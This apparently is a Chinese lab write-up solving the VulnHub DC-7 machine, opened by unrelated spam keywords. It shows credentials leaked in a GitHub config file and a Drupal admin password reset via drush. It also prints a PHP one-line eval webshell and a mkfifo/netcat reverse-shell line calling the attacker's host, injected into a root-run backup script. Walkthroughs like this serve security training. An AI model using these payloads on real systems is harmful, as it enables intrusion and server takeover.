网站如何做担保交易平台,wordpress无法添加媒体,有交做拼多多网站的吗,网站开发制作学徒目录 0x00 准备0x01 主机信息收集0x02 站点信息收集1. 获取用户名/密码2. ssh连接目标主机3. drush命令修改Drupal密码 0x03 漏洞查找与利用1. Drupal写入php木马2. 连接shell3. 反弹shell并提权 0x04 总结 0x00 准备 下载链接#xff1a;https://download.vulnhub.com/dc/DC-… 目录 0x00 准备0x01 主机信息收集0x02 站点信息收集1. 获取用户名/密码2. ssh连接目标主机3. drush命令修改Drupal密码 0x03 漏洞查找与利用1. Drupal写入php木马2. 连接shell3. 反弹shell并提权 0x04 总结 0x00 准备 下载链接https://download.vulnhub.com/dc/DC-7.zip
介绍
If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.
What you will need to do, is to think “outside” of the box.
Waaaaaay “outside” of the box.
重要信息
如果你需要求助于暴力破解或字典攻击你可能不会成功。
你需要做的是“跳出框框”思考。
Waaaaaay “外面”的盒子。
0x01 主机信息收集 kali中执行命令ifconfig
kali本机的ip192.168.22.48
探测目标主机ip执行命令netdiscover - i eth0 192.168.22.0/24
目标主机的ip192.168.22.6 探测目标主机的开放端口执行命令nmap -sS -sV -A -n 192.168.22.6
开放了22端口80端口并且使用的CMS为 Drupal8。 0x02 站点信息收集 1. 获取用户名/密码 浏览器访问http://192.168.22.6/
页面上的提示语跟前面的介绍一样用暴力破解或者字典攻击就不会成功需要做的是跳出框框思考跳出盒子。“盒子”可以想到白盒黑盒。跳出盒子也就是白盒。可以考虑找源代码了。
左下角有一个用户名DC7USER。 Google一下这个用户名可以发现一个github账户。主页发现一个staffdb项目看到是php语言的有个config.php的配置文件。 查看一下文件内容有用户名和密码。还有数据库的名字。
$username dc7user;
$password MdR3xOgB7#dW;考虑用这个用户名和密码登录。
扫描一下站点的目录结构看有没有可以登录的点dirsearch -u 192.168.22.6 访问http://192.168.22.6/user/login.php
用上面获得的用户名和密码进行登录失败。 2. ssh连接目标主机 之前扫描端口的时候还发现开房了22端口。考虑ssh链接。执行命令ssh dc7user192.168.22.6
登录成功。 看一下都有什么文件。一个backups目录和一个mbox文件。
backups目录下是两个gpg文件gpg命令是用来加密文件的并且加密后的文件都是乱码。
看一下mbox文件的内容cat mbox 发现一个可执行脚本文件的路径/opt/scripts/backups.sh
以及数据库数据的保存路径/home/dc7user/backups/website.sql
查看一下这个脚本文件的内容执行命令cat /opt/scripts/backups.sh 3. drush命令修改Drupal密码 看起来是对数据相关的文件进行打包备份删除之类的操作。有个drush命令。
drush sql-dump的功能是数据库导入。
快速了解一下drush命令发现这个命令可以用来更改Drupal的密码相关命令是drush user-password someuser --passwordpassword
需要注意执行这个命令的时候需要切换到Drupal的目录下。从上面的 backups.sh 这个文件的内容可以看出来在执行drush命令之前先进入了 /var/www/html目录。
所以接下来先进入 /var/www/html目录再执行命令drush user-password admin --password123456 更改密码成功。
再访问http://192.168.22.6/user/login 用admin和123456尝试登录。登录成功。 0x03 漏洞查找与利用 1. Drupal写入php木马 接下来的思路就是找可以反弹shell的地方。
在 Content - Add Content - Basic page 下发现可以添加代码但是只支持html不支持php。 查询官方文档https://www.drupal.org/project/php
Drupal8以后php需要单独下载导入。
下载的地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
下载好以后依次点击Manage - Extend扩展 - Install new module启用新增模块导入刚下载的php模块。
也可以不下载再倒入模块的时候直接输入上面的下载URL 倒入成功后点击Enable newly added modules。 在Manage - Extend模块下选中 PHP Filter点击Install。就启用成功了。 可以看到启用成功的提示。 在 Manage - Content 下的 welcome to dc-7 这个文件应该是 http://192.168.22.6 这个页面的文件。 考虑编辑这个文件把一句话木马写入这个文件。Edit这个文件输入一句话木马并且最后文件格式要保存成php。最后点击save按钮。
?php
eval($_POST[shell]);
? 2. 连接shell 回到网站的首页就可以解析有恶意代码的文件。
用蚁剑连接一下注意上下编码都选base64。 3. 反弹shell并提权 连接成功以后考虑提权。
执行命令sudo -l提示没有sudo权限。
想起来前面的/opt/scripts/backups.sh脚本文件看一下这个文件的权限。 这个脚本文件的所属主是root所属组是www-data当前用户是www-data。
所以可以把提权的命令写入到这个脚本文件中然后直接执行这个脚本文件。
先在kali中监听9876端口执行命令nc -lvvp 9876
在蚁剑中直接编辑/opt/scripts/backups.sh这个文件在最后一行写入rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 21 | nc 192.168.22.48 9876 /tmp/f
点击右上角的save。 在蚁剑中可以查看一下文件内容确认写入成功cat backups.sh
再执行这个脚本./backups.sh 在kali中看到监听端口成功。
查看当前用户id 是root用户。
提权成功。 0x04 总结 主机信息收集
netdiscover探测目标主机ip。nmap探测开放端口和服务。 站点信息收集
根据提示找到配置文件获取用户名密码。ssh连接目标主机。drush修改Drupal密码。 漏洞利用
Drupal写入php木马。蚁剑连接shell。反弹shell。提权。